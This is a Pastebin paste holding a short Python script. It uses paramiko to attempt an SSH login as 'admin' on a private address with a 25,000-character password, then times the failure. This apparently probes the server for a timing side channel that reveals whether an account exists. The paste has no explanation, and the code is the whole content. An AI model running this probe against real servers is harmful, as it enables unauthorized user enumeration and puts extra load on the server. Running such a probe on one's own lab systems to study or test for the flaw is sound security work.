Advertisement
Guest User

Untitled

a guest
Aug 2nd, 2016
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.36 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import paramiko
  4. import time
  5. user='admin' #raw_input("user: ")
  6. p='A'*25000
  7. ssh = paramiko.SSHClient()
  8. starttime=time.clock()
  9. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  10. try:
  11. ssh.connect('192.168.2.47', username=user,
  12. password=p)
  13. except:
  14. endtime=time.clock()
  15. total=endtime-starttime
  16. print(total)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement